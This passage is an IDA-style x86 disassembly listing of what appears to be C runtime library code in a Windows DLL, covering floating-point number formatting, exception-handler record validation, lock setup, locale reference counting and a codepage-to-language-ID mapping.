call sub_69B84F8F
mov eax, dword_69B9B6C8
test eax, eax
pop ecx
jz short loc_69B851EC
call eax ; dword_69B9B6C8
loc_69B851EC: ; CODE XREF: sub_69B851BF+29j
push 0FFh
call sub_69B84F8F
pop ecx
locret_69B851F7: ; CODE XREF: sub_69B851BF+Cj
; sub_69B851BF+15j
retn
sub_69B851BF endp
; =============== S U B R O U T I N E =======================================
sub_69B851F8 proc near ; DATA XREF: sub_69B1144A+1Eo
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_69B86621
cmp eax, 65h
jmp short loc_69B85217
; ---------------------------------------------------------------------------
loc_69B8520B: ; CODE XREF: sub_69B851F8+20j
inc esi
movsx eax, byte ptr [esi]
push eax
call sub_69B8651F
test eax, eax
loc_69B85217: ; CODE XREF: sub_69B851F8+11j
pop ecx
jnz short loc_69B8520B
mov al, [esi]
mov cl, byte_69B9AC70
mov [esi], cl
inc esi
loc_69B85225: ; CODE XREF: sub_69B851F8+38j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_69B85225
pop esi
retn
sub_69B851F8 endp
; ---------------------------------------------------------------------------
loc_69B85234: ; DATA XREF: sub_69B1144A+Ao
mov eax, [esp+4]
push ebx
mov bl, byte_69B9AC70
jmp short loc_69B85246
; ---------------------------------------------------------------------------
loc_69B85241: ; CODE XREF: .text:69B8524Aj
cmp cl, bl
jz short loc_69B8524C
inc eax
loc_69B85246: ; CODE XREF: .text:69B8523Fj
mov cl, [eax]
test cl, cl
jnz short loc_69B85241
loc_69B8524C: ; CODE XREF: .text:69B85243j
mov cl, [eax]
inc eax
test cl, cl
jz short loc_69B8527D
jmp short loc_69B85260
; ---------------------------------------------------------------------------
loc_69B85255: ; CODE XREF: .text:69B85264j
cmp cl, 65h
jz short loc_69B85266
cmp cl, 45h
jz short loc_69B85266
inc eax
loc_69B85260: ; CODE XREF: .text:69B85253j
mov cl, [eax]
test cl, cl
jnz short loc_69B85255
loc_69B85266: ; CODE XREF: .text:69B85258j
; .text:69B8525Dj
mov edx, eax
loc_69B85268: ; CODE XREF: .text:69B8526Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_69B85268
cmp [eax], bl
jnz short loc_69B85273
dec eax
loc_69B85273: ; CODE XREF: .text:69B85270j
; .text:69B8527Bj
mov cl, [edx]
inc eax
inc edx
test cl, cl
mov [eax], cl
jnz short loc_69B85273
loc_69B8527D: ; CODE XREF: .text:69B85251j
pop ebx
retn
; ---------------------------------------------------------------------------
loc_69B8527F: ; DATA XREF: sub_69B1144A+28o
mov eax, [esp+4]
fld qword ptr [eax]
fcomp ds:dbl_69B29700
fnstsw ax
test ah, 1
jnz short loc_69B85296
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_69B85296: ; CODE XREF: .text:69B85290j
xor eax, eax
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B85299 proc near ; DATA XREF: sub_69B1144A+14o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_69B852C2
lea eax, [ebp+var_8]
push eax
call sub_69B86967
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_69B852C2: ; CODE XREF: sub_69B85299+Cj
lea eax, [ebp+arg_0]
push eax
call sub_69B86994
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
mov [eax], ecx
leave
retn
sub_69B85299 endp
; =============== S U B R O U T I N E =======================================
sub_69B852D7 proc near ; CODE XREF: sub_69B852F4+23p
; sub_69B85406+45p ...
test edi, edi
push esi
mov esi, eax
jz short loc_69B852F2
push esi
call sub_69B22762
inc eax
push eax
push esi
add esi, edi
push esi
call sub_69B22103
add esp, 10h
loc_69B852F2: ; CODE XREF: sub_69B852D7+5j
pop esi
retn
sub_69B852D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B852F4 proc near ; CODE XREF: sub_69B853AA+4Ep
; sub_69B854F4+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
push esi
mov esi, eax
jz short loc_69B8531D
xor eax, eax
cmp [ebp+arg_0], eax
push edi
setnle al
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
mov edi, eax
add ecx, ebx
mov eax, ecx
call sub_69B852D7
pop edi
loc_69B8531D: ; CODE XREF: sub_69B852F4+Aj
cmp dword ptr [esi], 2Dh
mov eax, ebx
jnz short loc_69B8532A
mov byte ptr [ebx], 2Dh
lea eax, [ebx+1]
loc_69B8532A: ; CODE XREF: sub_69B852F4+2Ej
cmp [ebp+arg_0], 0
jle short loc_69B85341
lea ecx, [eax+1]
mov dl, [ecx]
mov [eax], dl
mov eax, ecx
mov cl, byte_69B9AC70
mov [eax], cl
loc_69B85341: ; CODE XREF: sub_69B852F4+3Aj
xor ecx, ecx
cmp [ebp+arg_8], cl
push offset dword_69B853A4
setz cl
add ecx, eax
add ecx, [ebp+arg_0]
push ecx
call sub_69B227E1
cmp [ebp+arg_4], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_69B85366
mov byte ptr [ecx], 45h
loc_69B85366: ; CODE XREF: sub_69B852F4+6Dj
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_69B8539D
mov eax, [esi+4]
dec eax
jns short loc_69B8537A
neg eax
mov byte ptr [ecx], 2Dh
loc_69B8537A: ; CODE XREF: sub_69B852F4+7Fj
inc ecx
cmp eax, 64h
jl short loc_69B8538A
cdq
push 64h
pop esi
idiv esi
add [ecx], al
mov eax, edx
loc_69B8538A: ; CODE XREF: sub_69B852F4+8Aj
inc ecx
cmp eax, 0Ah
jl short loc_69B8539A
cdq
push 0Ah
pop esi
idiv esi
add [ecx], al
mov eax, edx
loc_69B8539A: ; CODE XREF: sub_69B852F4+9Aj
add [ecx+1], al
loc_69B8539D: ; CODE XREF: sub_69B852F4+79j
mov eax, ebx
pop esi
pop ebp
retn
sub_69B852F4 endp
; ---------------------------------------------------------------------------
align 4
dword_69B853A4 dd 30302B65h db 30h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B853AA proc near ; CODE XREF: sub_69B8557E+47p
var_28 = byte ptr -28h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_10]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+4]
push dword ptr [eax]
call sub_69B86AFA
mov esi, [ebp+arg_8]
mov ebx, [ebp+arg_4]
lea eax, [ebp+var_10]
push eax
lea eax, [esi+1]
push eax
xor eax, eax
cmp [ebp+var_10], 2Dh
setz al
xor ecx, ecx
test esi, esi
setnle cl
add eax, ebx
add ecx, eax
push ecx
call sub_69B869C1
push 0
push [ebp+arg_C]
lea eax, [ebp+var_10]
push esi
call sub_69B852F4
add esp, 28h
pop esi
mov eax, ebx
pop ebx
leave
retn
sub_69B853AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B85406 proc near ; CODE XREF: sub_69B854A2+44p
; sub_69B854F4+6Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, eax
mov eax, [esi+4]
dec eax
cmp [ebp+arg_8], 0
push edi
jz short loc_69B85433
cmp eax, [ebp+arg_4]
jnz short loc_69B85433
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, [ebp+arg_0]
mov eax, ecx
mov byte ptr [eax], 30h
mov byte ptr [eax+1], 0
loc_69B85433: ; CODE XREF: sub_69B85406+10j
; sub_69B85406+15j
cmp dword ptr [esi], 2Dh
mov ebx, [ebp+arg_0]
jnz short loc_69B8543F
mov byte ptr [ebx], 2Dh
inc ebx
loc_69B8543F: ; CODE XREF: sub_69B85406+33j
mov eax, [esi+4]
xor edi, edi
inc edi
test eax, eax
jg short loc_69B85456
mov eax, ebx
call sub_69B852D7
mov byte ptr [ebx], 30h
inc ebx
jmp short loc_69B85458
; ---------------------------------------------------------------------------
loc_69B85456: ; CODE XREF: sub_69B85406+41j
add ebx, eax
loc_69B85458: ; CODE XREF: sub_69B85406+4Ej
cmp [ebp+arg_4], 0
jle short loc_69B8549A
mov eax, ebx
call sub_69B852D7
mov al, byte_69B9AC70
mov [ebx], al
mov esi, [esi+4]
inc ebx
test esi, esi
jge short loc_69B8549A
neg esi
cmp [ebp+arg_8], 0
jnz short loc_69B85481
cmp [ebp+arg_4], esi
jl short loc_69B85484
loc_69B85481: ; CODE XREF: sub_69B85406+74j
mov [ebp+arg_4], esi
loc_69B85484: ; CODE XREF: sub_69B85406+79j
mov edi, [ebp+arg_4]
mov eax, ebx
call sub_69B852D7
push edi
push 30h
push ebx
call sub_69B22867
add esp, 0Ch
loc_69B8549A: ; CODE XREF: sub_69B85406+56j
; sub_69B85406+6Cj
mov eax, [ebp+arg_0]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_69B85406 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B854A2 proc near ; CODE XREF: sub_69B8557E+1Ep
var_28 = byte ptr -28h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 28h
push esi
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_10]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+4]
push dword ptr [eax]
call sub_69B86AFA
mov esi, [ebp+arg_8]
lea eax, [ebp+var_10]
push eax
mov eax, [ebp+var_C]
add eax, esi
push eax
xor eax, eax
cmp [ebp+var_10], 2Dh
setz al
add eax, [ebp+arg_4]
push eax
call sub_69B869C1
push 0
push esi
push [ebp+arg_4]
lea eax, [ebp+var_10]
call sub_69B85406
mov eax, [ebp+arg_4]
add esp, 28h
pop esi
leave
retn
sub_69B854A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B854F4 proc near ; CODE XREF: sub_69B8557E+34p
var_28 = byte ptr -28h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_10]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+4]
push dword ptr [eax]
call sub_69B86AFA
mov esi, [ebp+var_C]
mov ebx, [ebp+arg_8]
xor eax, eax
dec esi
cmp [ebp+var_10], 2Dh
setz al
add eax, [ebp+arg_4]
mov edi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push edi
call sub_69B869C1
mov eax, [ebp+var_C]
add esp, 1Ch
dec eax
cmp esi, eax
setl cl
cmp eax, 0FFFFFFFCh
jl short loc_69B85565
cmp eax, ebx
jge short loc_69B85565
test cl, cl
jz short loc_69B85555
loc_69B8554B: ; CODE XREF: sub_69B854F4+5Cj
mov al, [edi]
inc edi
test al, al
jnz short loc_69B8554B
mov [edi-2], al
loc_69B85555: ; CODE XREF: sub_69B854F4+55j
push 1
push ebx
push [ebp+arg_4]
lea eax, [ebp+var_10]
call sub_69B85406
jmp short loc_69B85576
; ---------------------------------------------------------------------------
loc_69B85565: ; CODE XREF: sub_69B854F4+4Dj
; sub_69B854F4+51j
push 1
push [ebp+arg_C]
lea eax, [ebp+var_10]
push ebx
mov ebx, [ebp+arg_4]
call sub_69B852F4
loc_69B85576: ; CODE XREF: sub_69B854F4+6Fj
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_69B854F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8557E proc near ; DATA XREF: sub_69B1144Ao
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_69B855B9
cmp [ebp+arg_8], 45h
jz short loc_69B855B9
cmp [ebp+arg_8], 66h
jnz short loc_69B855A6
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B854A2
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_69B855A6: ; CODE XREF: sub_69B8557E+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B854F4
jmp short loc_69B855CA
; ---------------------------------------------------------------------------
loc_69B855B9: ; CODE XREF: sub_69B8557E+7j
; sub_69B8557E+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B853AA
loc_69B855CA: ; CODE XREF: sub_69B8557E+39j
add esp, 10h
pop ebp
retn
sub_69B8557E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B855CF proc near ; CODE XREF: sub_69B84BCE+1Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_69B855E7
cmp [ebp+arg_0], edx
jnz short loc_69B855F9
xor eax, eax
inc eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_69B855E7: ; CODE XREF: sub_69B855CF+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_69B855F9
cmp [ebp+arg_0], edx
jnz short loc_69B855F9
push 2
jmp short loc_69B85623
; ---------------------------------------------------------------------------
loc_69B855F9: ; CODE XREF: sub_69B855CF+11j
; sub_69B855CF+1Fj ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_69B8560C
push 3
jmp short loc_69B85623
; ---------------------------------------------------------------------------
loc_69B8560C: ; CODE XREF: sub_69B855CF+37j
cmp cx, 7FF0h
jnz short loc_69B85626
test [ebp+arg_4], 7FFFFh
jnz short loc_69B85621
cmp [ebp+arg_0], edx
jz short loc_69B85626
loc_69B85621: ; CODE XREF: sub_69B855CF+4Bj
push 4
loc_69B85623: ; CODE XREF: sub_69B855CF+28j
; sub_69B855CF+3Bj
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_69B85626: ; CODE XREF: sub_69B855CF+42j
; sub_69B855CF+50j
xor eax, eax
pop ebp
retn
sub_69B855CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8562A proc near ; CODE XREF: sub_69B22496+34p
Buffer = _MEMORY_BASIC_INFORMATION ptr -20h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, [esi+8]
test bl, 3
jnz short loc_69B85658
mov eax, large fs:18h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
cmp ebx, ecx
mov [ebp+var_4], ecx
jb short loc_69B8565F
cmp ebx, [eax+4]
jnb short loc_69B8565F
loc_69B85658: ; CODE XREF: sub_69B8562A+11j
xor eax, eax
jmp loc_69B8584F
; ---------------------------------------------------------------------------
loc_69B8565F: ; CODE XREF: sub_69B8562A+27j
; sub_69B8562A+2Cj
push edi
mov edi, [esi+0Ch]
cmp edi, 0FFFFFFFFh
jnz short loc_69B85670
loc_69B85668: ; CODE XREF: sub_69B8562A+139j
; sub_69B8562A+19Cj ...
xor eax, eax
inc eax
jmp loc_69B8584E
; ---------------------------------------------------------------------------
loc_69B85670: ; CODE XREF: sub_69B8562A+3Cj
xor edx, edx
mov [ebp+arg_0], edx
mov eax, ebx
loc_69B85677: ; CODE XREF: sub_69B8562A+6Bj
mov ecx, [eax]
cmp ecx, 0FFFFFFFFh
jz short loc_69B85686
cmp ecx, edx
jnb loc_69B857CB
loc_69B85686: ; CODE XREF: sub_69B8562A+52j
cmp dword ptr [eax+4], 0
jz short loc_69B8568F
inc [ebp+arg_0]
loc_69B8568F: ; CODE XREF: sub_69B8562A+60j
inc edx
add eax, 0Ch
cmp edx, edi
jbe short loc_69B85677
cmp [ebp+arg_0], 0
jz short loc_69B856B1
mov eax, [esi-8]
cmp eax, [ebp+var_4]
jb loc_69B857CB
cmp eax, esi
jnb loc_69B857CB
loc_69B856B1: ; CODE XREF: sub_69B8562A+71j
mov eax, dword_69B9B6D0
mov edi, ebx
and edi, 0FFFFF000h
xor esi, esi
test eax, eax
jle short loc_69B856D6
loc_69B856C4: ; CODE XREF: sub_69B8562A+AAj
cmp dword_69B9B6D8[esi*4], edi
jz loc_69B857CF
inc esi
cmp esi, eax
jl short loc_69B856C4
loc_69B856D6: ; CODE XREF: sub_69B8562A+98j
push 1Ch ; dwLength
lea eax, [ebp+Buffer]
push eax ; lpBuffer
push ebx ; lpAddress
call ds:VirtualQuery ; VirtualQuery
test eax, eax
jz loc_69B8584B
cmp [ebp+Buffer.Type], 1000000h
jnz loc_69B8584B
test byte ptr [ebp+Buffer.Protect], 0CCh
jz short loc_69B85754
mov ecx, [ebp+Buffer.AllocationBase]
cmp word ptr [ecx], 5A4Dh
jnz loc_69B8584B
mov eax, [ecx+3Ch]
add eax, ecx
cmp dword ptr [eax], 4550h
jnz loc_69B8584B
cmp word ptr [eax+18h], 10Bh
jnz loc_69B8584B
sub ebx, ecx
cmp word ptr [eax+6], 0
movzx ecx, word ptr [eax+14h]
lea ecx, [ecx+eax+18h]
jbe loc_69B8584B
mov eax, [ecx+0Ch]
cmp ebx, eax
jb short loc_69B85754
mov edx, [ecx+8]
add edx, eax
cmp ebx, edx
jnb short loc_69B85754
test byte ptr [ecx+27h], 80h
jnz short loc_69B857CB
loc_69B85754: ; CODE XREF: sub_69B8562A+D2j
; sub_69B8562A+119j ...
push 1 ; Value
push offset dword_69B9B718 ; Target
call ds:InterlockedExchange ; InterlockedExchange
test eax, eax
jnz loc_69B85668
mov ecx, dword_69B9B6D0
test ecx, ecx
mov edx, ecx
jle short loc_69B85788
lea eax, dword_69B9B6D4[ecx*4]
loc_69B8577C: ; CODE XREF: sub_69B8562A+15Cj
cmp [eax], edi
jz short loc_69B85788
dec edx
sub eax, 4
test edx, edx
jg short loc_69B8577C
loc_69B85788: ; CODE XREF: sub_69B8562A+149j
; sub_69B8562A+154j
test edx, edx
jnz short loc_69B857B9
push 0Fh
pop ebx
cmp ecx, ebx
jg short loc_69B85795
mov ebx, ecx
loc_69B85795: ; CODE XREF: sub_69B8562A+167j
xor edx, edx
test ebx, ebx
jl short loc_69B857AD
loc_69B8579B: ; CODE XREF: sub_69B8562A+181j
lea eax, dword_69B9B6D8[edx*4]
mov esi, [eax]
inc edx
cmp edx, ebx
mov [eax], edi
mov edi, esi
jle short loc_69B8579B
loc_69B857AD: ; CODE XREF: sub_69B8562A+16Fj
cmp ecx, 10h
jge short loc_69B857B9
inc ecx
mov dword_69B9B6D0, ecx
loc_69B857B9: ; CODE XREF: sub_69B8562A+160j
; sub_69B8562A+186j
push 0 ; Value
push offset dword_69B9B718 ; Target
call ds:InterlockedExchange ; InterlockedExchange
jmp loc_69B85668
; ---------------------------------------------------------------------------
loc_69B857CB: ; CODE XREF: sub_69B8562A+56j
; sub_69B8562A+79j ...
xor eax, eax
jmp short loc_69B8584E
; ---------------------------------------------------------------------------
loc_69B857CF: ; CODE XREF: sub_69B8562A+A1j
test esi, esi
jle loc_69B85668
mov ebx, ds:InterlockedExchange
push 1 ; Value
push offset dword_69B9B718 ; Target
call ebx ; InterlockedExchange
test eax, eax
jnz loc_69B85668
cmp dword_69B9B6D8[esi*4], edi
jz short loc_69B85825
mov eax, dword_69B9B6D0
lea esi, [eax-1]
test esi, esi
jl short loc_69B85813
loc_69B85803: ; CODE XREF: sub_69B8562A+1E3j
cmp dword_69B9B6D8[esi*4], edi
jz short loc_69B8580F
dec esi
jns short loc_69B85803
loc_69B8580F: ; CODE XREF: sub_69B8562A+1E0j
test esi, esi
jge short loc_69B85823
loc_69B85813: ; CODE XREF: sub_69B8562A+1D7j
cmp eax, 10h
jge short loc_69B8581E
inc eax
mov dword_69B9B6D0, eax
loc_69B8581E: ; CODE XREF: sub_69B8562A+1ECj
lea esi, [eax-1]
jmp short loc_69B85825
; ---------------------------------------------------------------------------
loc_69B85823: ; CODE XREF: sub_69B8562A+1E7j
jz short loc_69B8583D
loc_69B85825: ; CODE XREF: sub_69B8562A+1CBj
; sub_69B8562A+1F7j
xor ecx, ecx
test esi, esi
jl short loc_69B8583D
loc_69B8582B: ; CODE XREF: sub_69B8562A+211j
lea eax, dword_69B9B6D8[ecx*4]
mov edx, [eax]
inc ecx
cmp ecx, esi
mov [eax], edi
mov edi, edx
jle short loc_69B8582B
loc_69B8583D: ; CODE XREF: sub_69B8562A:loc_69B85823j
; sub_69B8562A+1FFj
push 0 ; Value
push offset dword_69B9B718 ; Target
call ebx ; InterlockedExchange
jmp loc_69B85668
; ---------------------------------------------------------------------------
loc_69B8584B: ; CODE XREF: sub_69B8562A+BBj
; sub_69B8562A+C8j ...
or eax, 0FFFFFFFFh
loc_69B8584E: ; CODE XREF: sub_69B8562A+41j
; sub_69B8562A+1A3j
pop edi
loc_69B8584F: ; CODE XREF: sub_69B8562A+30j
pop esi
pop ebx
leave
retn
sub_69B8562A endp
; =============== S U B R O U T I N E =======================================
sub_69B85853 proc near ; CODE XREF: sub_69B113FC+13CB9p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
lea esi, lpCriticalSection[esi*8]
cmp dword ptr [esi], 0
jz short loc_69B85869
xor eax, eax
inc eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B85869: ; CODE XREF: sub_69B85853+Fj
push edi
push 18h
pop ecx
call sub_69B19560
mov edi, eax
test edi, edi
jnz short loc_69B85887
loc_69B85878: ; CODE XREF: sub_69B85853+61j
call sub_69B86B5F
mov dword ptr [eax], 0Ch
xor eax, eax
jmp short loc_69B858CC
; ---------------------------------------------------------------------------
loc_69B85887: ; CODE XREF: sub_69B85853+23j
push 0Ah
call sub_69B113FC
cmp dword ptr [esi], 0
pop ecx
jnz short loc_69B858BA
push 0FA0h
push edi
call sub_69B19C19
test eax, eax
pop ecx
pop ecx
jnz short loc_69B858B6
push edi
call sub_69B1D1FD
push 0Ah
call sub_69B1D1C5
pop ecx
pop ecx
jmp short loc_69B85878
; ---------------------------------------------------------------------------
loc_69B858B6: ; CODE XREF: sub_69B85853+50j
mov [esi], edi
jmp short loc_69B858C1
; ---------------------------------------------------------------------------
loc_69B858BA: ; CODE XREF: sub_69B85853+3Fj
push edi
call sub_69B1D1FD
pop ecx
loc_69B858C1: ; CODE XREF: sub_69B85853+65j
push 0Ah
call sub_69B1D1C5
xor eax, eax
pop ecx
inc eax
loc_69B858CC: ; CODE XREF: sub_69B85853+32j
pop edi
pop esi
retn
sub_69B85853 endp
; =============== S U B R O U T I N E =======================================
sub_69B858CF proc near ; CODE XREF: sub_69B84DFA+10Fp
; sub_69B8599F+B6p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+3Ch]
push edi
xor edi, edi
cmp eax, dword_69B9B738
jz short loc_69B85945
cmp eax, edi
jz short loc_69B85945
mov eax, [esi+2Ch]
cmp [eax], edi
jnz short loc_69B85945
mov eax, [esi+34h]
cmp eax, edi
jz short loc_69B85910
cmp [eax], edi
jnz short loc_69B85910
cmp eax, dword_69B9B778
jz short loc_69B85910
push eax
call sub_69B1D1FD
push dword ptr [esi+3Ch]
call sub_69B86D61
pop ecx
pop ecx
loc_69B85910: ; CODE XREF: sub_69B858CF+23j
; sub_69B858CF+27j ...
mov eax, [esi+30h]
cmp eax, edi
jz short loc_69B85933
cmp [eax], edi
jnz short loc_69B85933
cmp eax, dword_69B9B77C
jz short loc_69B85933
push eax
call sub_69B1D1FD
push dword ptr [esi+3Ch]
call sub_69B86D02
pop ecx
pop ecx
loc_69B85933: ; CODE XREF: sub_69B858CF+46j
; sub_69B858CF+4Aj ...
push dword ptr [esi+2Ch]
call sub_69B1D1FD
push dword ptr [esi+3Ch]
call sub_69B1D1FD
pop ecx
pop ecx
loc_69B85945: ; CODE XREF: sub_69B858CF+11j
; sub_69B858CF+15j ...
mov eax, [esi+40h]
cmp eax, dword_69B9B774
jz short loc_69B8596E
cmp eax, edi
jz short loc_69B8596E
cmp [eax], edi
jnz short loc_69B8596E
push eax
call sub_69B1D1FD
mov eax, [esi+44h]
sub eax, 0FEh
push eax
call sub_69B1D1FD
pop ecx
pop ecx
loc_69B8596E: ; CODE XREF: sub_69B858CF+7Fj
; sub_69B858CF+83j ...
mov eax, [esi+50h]
cmp eax, dword_69B9B734
jz short loc_69B85995
cmp eax, edi
jz short loc_69B85995
cmp [eax+0B4h], edi
jnz short loc_69B85995
push eax
call sub_69B86B72
push dword ptr [esi+50h]
call sub_69B1D1FD
pop ecx
pop ecx
loc_69B85995: ; CODE XREF: sub_69B858CF+A8j
; sub_69B858CF+ACj ...
push esi
call sub_69B1D1FD
pop ecx
pop edi
pop esi
retn
sub_69B858CF endp
; =============== S U B R O U T I N E =======================================
sub_69B8599F proc near ; CODE XREF: sub_69B85A60+18p
push esi
call sub_69B84DE2
mov esi, eax
mov ecx, [esi+64h]
cmp ecx, off_69B9AB2C
jz loc_69B85A5B
xor edx, edx
cmp ecx, edx
jz short loc_69B859EB
mov eax, [ecx+2Ch]
dec dword ptr [ecx]
cmp eax, edx
jz short loc_69B859C7
dec dword ptr [eax]
loc_69B859C7: ; CODE XREF: sub_69B8599F+24j
mov eax, [ecx+34h]
cmp eax, edx
jz short loc_69B859D0
dec dword ptr [eax]
loc_69B859D0: ; CODE XREF: sub_69B8599F+2Dj
mov eax, [ecx+30h]
cmp eax, edx
jz short loc_69B859D9
dec dword ptr [eax]
loc_69B859D9: ; CODE XREF: sub_69B8599F+36j
mov eax, [ecx+40h]
cmp eax, edx
jz short loc_69B859E2
dec dword ptr [eax]
loc_69B859E2: ; CODE XREF: sub_69B8599F+3Fj
mov eax, [ecx+4Ch]
dec dword ptr [eax+0B4h]
loc_69B859EB: ; CODE XREF: sub_69B8599F+1Bj
mov eax, off_69B9AB2C
mov [esi+64h], eax
mov eax, off_69B9AB2C
inc dword ptr [eax]
mov eax, off_69B9AB2C
cmp [eax+2Ch], edx
jz short loc_69B85A0E
mov eax, [eax+2Ch]
inc dword ptr [eax]
mov eax, off_69B9AB2C
loc_69B85A0E: ; CODE XREF: sub_69B8599F+63j
cmp [eax+34h], edx
jz short loc_69B85A1D
mov eax, [eax+34h]
inc dword ptr [eax]
mov eax, off_69B9AB2C
loc_69B85A1D: ; CODE XREF: sub_69B8599F+72j
cmp [eax+30h], edx
jz short loc_69B85A2C
mov eax, [eax+30h]
inc dword ptr [eax]
mov eax, off_69B9AB2C
loc_69B85A2C: ; CODE XREF: sub_69B8599F+81j
cmp [eax+40h], edx
jz short loc_69B85A3B
mov eax, [eax+40h]
inc dword ptr [eax]
mov eax, off_69B9AB2C
loc_69B85A3B: ; CODE XREF: sub_69B8599F+90j
mov eax, [eax+4Ch]
inc dword ptr [eax+0B4h]
cmp ecx, edx
jz short loc_69B85A5B
cmp [ecx], edx
jnz short loc_69B85A5B
cmp ecx, offset dword_69B9AAD8
jz short loc_69B85A5B
push ecx
call sub_69B858CF
pop ecx
loc_69B85A5B: ; CODE XREF: sub_69B8599F+11j
; sub_69B8599F+A7j ...
mov eax, [esi+64h]
pop esi
retn
sub_69B8599F endp
; =============== S U B R O U T I N E =======================================
sub_69B85A60 proc near ; CODE XREF: sub_69B8651F+10p
; sub_69B86621+10p ...
push 0Ch
push offset dword_69B85AA0
call sub_69B19C5C
push 0Ch
call sub_69B113FC
pop ecx
and dword ptr [ebp-4], 0
call sub_69B8599F
mov [ebp-1Ch], eax
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B85A92
mov eax, [ebp-1Ch]
call sub_69B1853C
retn
sub_69B85A60 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B85A92 proc near ; CODE XREF: sub_69B85A60+24p
; DATA XREF: .text:69B85AA8o
push 0Ch
call sub_69B1D1C5
pop ecx
retn
sub_69B85A92 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B85AA0 dd 0FFFFFFFFh, 0 dd offset sub_69B85A92
; =============== S U B R O U T I N E =======================================
sub_69B85AAC proc near ; CODE XREF: sub_69B1D0A4+8140p
; sub_69B1D0A4+818Dp
sub eax, 3A4h
jz short loc_69B85AD5
sub eax, 4
jz short loc_69B85ACF
sub eax, 0Dh
jz short loc_69B85AC9
dec eax
jz short loc_69B85AC3
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_69B85AC3: ; CODE XREF: sub_69B85AAC+12j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_69B85AC9: ; CODE XREF: sub_69B85AAC+Fj
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_69B85ACF: ; CODE XREF: sub_69B85AAC+Aj
mov eax, 804h
retn
